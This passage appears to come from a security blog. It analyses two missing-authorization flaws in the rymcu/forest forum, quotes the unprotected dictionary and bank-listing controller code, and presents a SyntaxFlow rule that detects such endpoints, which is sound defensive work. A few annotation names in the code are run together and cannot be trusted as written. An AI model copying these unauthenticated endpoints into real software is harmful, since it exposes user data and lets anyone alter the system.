<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="项目信息-1">项目信息<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#%E9%A1%B9%E7%9B%AE%E4%BF%A1%E6%81%AF-1" class="hash-link" aria-label="项目信息的直接链接" title="项目信息的直接链接" translate="no">​</a></h2>
<p>**漏洞项目：**rymcu/forest (社区论坛系统)</p>
<p>在 forest 项目中，我们发现了两个典型的<code>未授权访问（越权）</code>漏洞，它们虽然位于不同的控制器中，但根源都是鉴权逻辑的缺失。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="漏洞现场-1">漏洞现场<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#%E6%BC%8F%E6%B4%9E%E7%8E%B0%E5%9C%BA-1" class="hash-link" aria-label="漏洞现场的直接链接" title="漏洞现场的直接链接" translate="no">​</a></h2>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="cve-2025-12924敏感字典随意改">CVE-2025-12924：敏感字典随意改<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#cve-2025-12924%E6%95%8F%E6%84%9F%E5%AD%97%E5%85%B8%E9%9A%8F%E6%84%8F%E6%94%B9" class="hash-link" aria-label="CVE-2025-12924：敏感字典随意改的直接链接" title="CVE-2025-12924：敏感字典随意改的直接链接" translate="no">​</a></h4>
<p><code>UserDicController</code> 控制着系统的搜索字典。开发者虽然写了 Controller，但遗漏了权限控制注解。导致任何未登录用户都可以调用接口，随意增删改系统字典，甚至实施存储型 XSS（通过字典内容）或拒绝服务攻击。</p>
<p><strong>漏洞现场：</strong></p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// UserDicController.java - Lines 30-60</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">RestController</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">RequestMapping</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"/api/v1/lucene/dic"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">class</span><span class="token plain"> </span><span class="token class-name">UserDicController</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">Resource</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">private</span><span class="token plain"> UserDicService dicService</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ❌ NO AUTHENTICATION - Anyone can view all dictionaries</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">GetMapping</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"/getAll"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> GlobalResult </span><span class="token function" style="color:#d73a49">getAll</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">RequestParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">defaultValue </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"0"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> Integer page</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">RequestParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">defaultValue </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"10"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> Integer rows</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        PageHelper</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">startPage</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">page</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rows</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        List</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">UserDic</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> list </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> dicService</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">getAll</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        PageInfo</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">UserDic</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> pageInfo </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">new</span><span class="token plain"> </span><span class="token class-name">PageInfo</span><span class="token class-name operator" style="color:#393A34">&lt;</span><span class="token class-name operator" style="color:#393A34">&gt;</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">list</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        Map</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">String</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> Object</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> map </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">new</span><span class="token plain"> </span><span class="token class-name">HashMap</span><span class="token class-name operator" style="color:#393A34">&lt;</span><span class="token class-name operator" style="color:#393A34">&gt;</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        map</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">put</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"userDic"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> pageInfo</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">getList</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        Map pagination </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> Utils</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">getPagination</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">pageInfo</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        map</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">put</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"pagination"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> pagination</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> GlobalResultGenerator</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">genSuccessResult</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">map</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ❌ CRITICAL - Anyone can add malicious words to system dictionary</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">PostMapping</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"/addDic/{dic}"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> GlobalResult </span><span class="token function" style="color:#d73a49">addDic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">PathVariableString</span><span class="token plain"> dic</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        dicService</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">addDic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">dic</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// Writes to database AND file system</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> GlobalResultGenerator</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">genSuccessResult</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"新增字典成功"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ❌ CRITICAL - Anyone can modify existing dictionary entries</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">PutMapping</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"/editDic"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> GlobalResult </span><span class="token function" style="color:#d73a49">getAllDic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">RequestBodyUserDic</span><span class="token plain"> dic</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        dicService</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">updateDic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">dic</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// Updates database AND regenerates file</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> GlobalResultGenerator</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">genSuccessResult</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"更新字典成功"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ❌ CRITICAL - Anyone can delete critical dictionary entries</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">DeleteMapping</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"/deleteDic/{id}"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> GlobalResult </span><span class="token function" style="color:#d73a49">deleteDic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token decorator at operator" style="color:#393A34">@</span><span class="token decorator function" style="color:#d73a49">PathVariableString</span><span class="token plain"> id</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        dicService</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">deleteDic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">id</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// Deletes from database AND regenerates file</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> GlobalResultGenerator</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">genSuccessResult</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"删除字典成功"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="cve-2025-12925银行资金流水裸奔">CVE-2025-12925：银行资金流水裸奔<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#cve-2025-12925%E9%93%B6%E8%A1%8C%E8%B5%84%E9%87%91%E6%B5%81%E6%B0%B4%E8%A3%B8%E5%A5%94" class="hash-link" aria-label="CVE-2025-12925：银行资金流水裸奔的直接链接" title="CVE-2025-12925：银行资金流水裸奔的直接链接" translate="no">​</a></h4>
<p><code>BankController</code> 位于 <code>/api/v1/admin/bank</code> 路径下，看名字是管理员专用的接口。然而，代码中虽然有 JWT 认证，却缺少了<strong>角色校验</strong>（如 <code>@RequiresRoles("admin")</code>）。任何注册的普通用户，只要带着自己的 Token 访问该接口，就能查看平台所有用户的银行账户余额和流水信息。</p>
<p><strong>漏洞现场：</strong></p>
<div class="language-kotlin codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kotlin codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// BankController.java - Lines 20-35</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token annotation builtin">@RestController</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token annotation builtin">@RequestMapping</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"/api/v1/admin/bank"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// ⚠️ Path contains "admin" but has NO admin check!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">class</span><span class="token plain"> BankController </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token annotation builtin">@Resource</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">private</span><span class="token plain"> BankService bankService</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ❌ CRITICAL - No authentication, no authorization, complete exposure</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token annotation builtin">@GetMapping</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"/list"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> GlobalResult</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">PageInfo</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">BankDTO</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">banks</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token annotation builtin">@RequestParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">defaultValue </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"0"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> Integer page</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token annotation builtin">@RequestParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">defaultValue </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"10"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> Integer rows</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        PageHelper</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">startPage</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">page</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rows</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        List</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">BankDTO</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> list </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> bankService</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">findBanks</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// Returns ALL banks with balances</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        PageInfo</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">BankDTO</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> pageInfo </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> new </span><span class="token function" style="color:#d73a49">PageInfo</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">list</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> GlobalResultGenerator</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">genSuccessResult</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">pageInfo</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="rify-挖掘思路">Rify 挖掘思路<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#rify-%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF" class="hash-link" aria-label="Rify 挖掘思路的直接链接" title="Rify 挖掘思路的直接链接" translate="no">​</a></h2>
<p>这类漏洞的通病是：<strong>Controller</strong>或方法上缺少鉴权注解，且方法内部也没有手动调用权限校验逻辑**。</p>
<p>我们可以编写一条组合规则，像筛子一样层层过滤：</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// 1. 找到所有 Controller 类，排除掉本身就公开的（如 Auth, OpenData 等）</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 并且筛选出类定义上没有鉴权注解的</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">*</span><span class="token class-name">Controller</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">opcode</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">make</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">__ref__</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">!</span><span class="token plain">have</span><span class="token punctuation" style="color:#393A34">:</span><span class="token operator" style="color:#393A34">/</span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">OpenData</span><span class="token operator" style="color:#393A34">|</span><span class="token class-name">OpenAi</span><span class="token operator" style="color:#393A34">|</span><span class="token class-name">Auth</span><span class="token operator" style="color:#393A34">|</span><span class="token class-name">Answer</span><span class="token operator" style="color:#393A34">|</span><span class="token class-name">LuceneSearch</span><span class="token operator" style="color:#393A34">|</span><span class="token class-name">Article</span><span class="token operator" style="color:#393A34">|</span><span class="token class-name">CommonApi</span><span class="token punctuation" style="color:#393A34">)</span><span class="token class-name">Controller</span><span class="token operator" style="color:#393A34">/</span><span class="token punctuation" style="color:#393A34">}</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">annotation</span><span class="token operator" style="color:#393A34">.*?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">any</span><span class="token punctuation" style="color:#393A34">:</span><span class="token class-name">RequiresPermissions</span><span class="token punctuation" style="color:#393A34">,</span><span class="token class-name">RequiresRoles</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $</span><span class="token class-name">NotAuthClass</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 2. 获取这些类中的所有方法</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$</span><span class="token class-name">NotAuthClass</span><span class="token operator" style="color:#393A34">.*?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">opcode</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">function</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $</span><span class="token keyword" style="color:#00009f">func</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 3. 筛选出方法上也没有鉴权注解的</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$</span><span class="token keyword" style="color:#00009f">func</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">annotation</span><span class="token operator" style="color:#393A34">.*?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">any</span><span class="token punctuation" style="color:#393A34">:</span><span class="token class-name">RequiresPermissions</span><span class="token punctuation" style="color:#393A34">,</span><span class="token class-name">AuthorshipInterceptor</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $</span><span class="token class-name">NotAnnoAuthFunc</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 4. 最后，筛选出方法体内部也没有调用 "getCurrentUserByToken" (暗示手动鉴权) 的方法</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$</span><span class="token class-name">NotAnnoAuthFunc</span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">!&lt;</span><span class="token function" style="color:#d73a49">foreach_function_inst</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">&gt;?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">have</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string-literal string" style="color:#e3116c">"getCurrentUserByToken"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $</span><span class="token class-name">NotAnyAuthFunc</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 5. 输出结果</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">alert $</span><span class="token class-name">NotAnyAuthFunc</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> level</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">mid</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> message</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string-literal string" style="color:#e3116c">"潜在的未授权访问 (CVE-2025-12924/12925)"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> risk</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string-literal string" style="color:#e3116c">"越权"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p><strong>规则解析：</strong></p>
<ul>
<li class=""><strong><code>*Controller?{opcode:make}</code></strong>: 定位所有 Controller 类的定义。</li>
<li class=""><strong><code>!have:/(...)Controller/</code></strong>: 利用正则表达式排除白名单，减少误报。</li>
<li class=""><strong><code>.annotation</code></strong>: 检查注解。这里非常灵活，既查了类上的注解，也查了方法上的注解。</li>
<li class=""><strong><code>&lt;foreach_function_inst()&gt;</code></strong>: 深入方法内部，遍历每一条指令。</li>
<li class=""><strong><code>!have:"getCurrentUserByToken"</code></strong>: 如果代码里连“获取当前用户”的操作都没有，大概率是没有做垂直越权检查的。</li>
</ul>
<p>这条规则成功定位到了<code>UserDicController</code>和 <code>BankController</code>中那些“裸奔”的接口：</p>
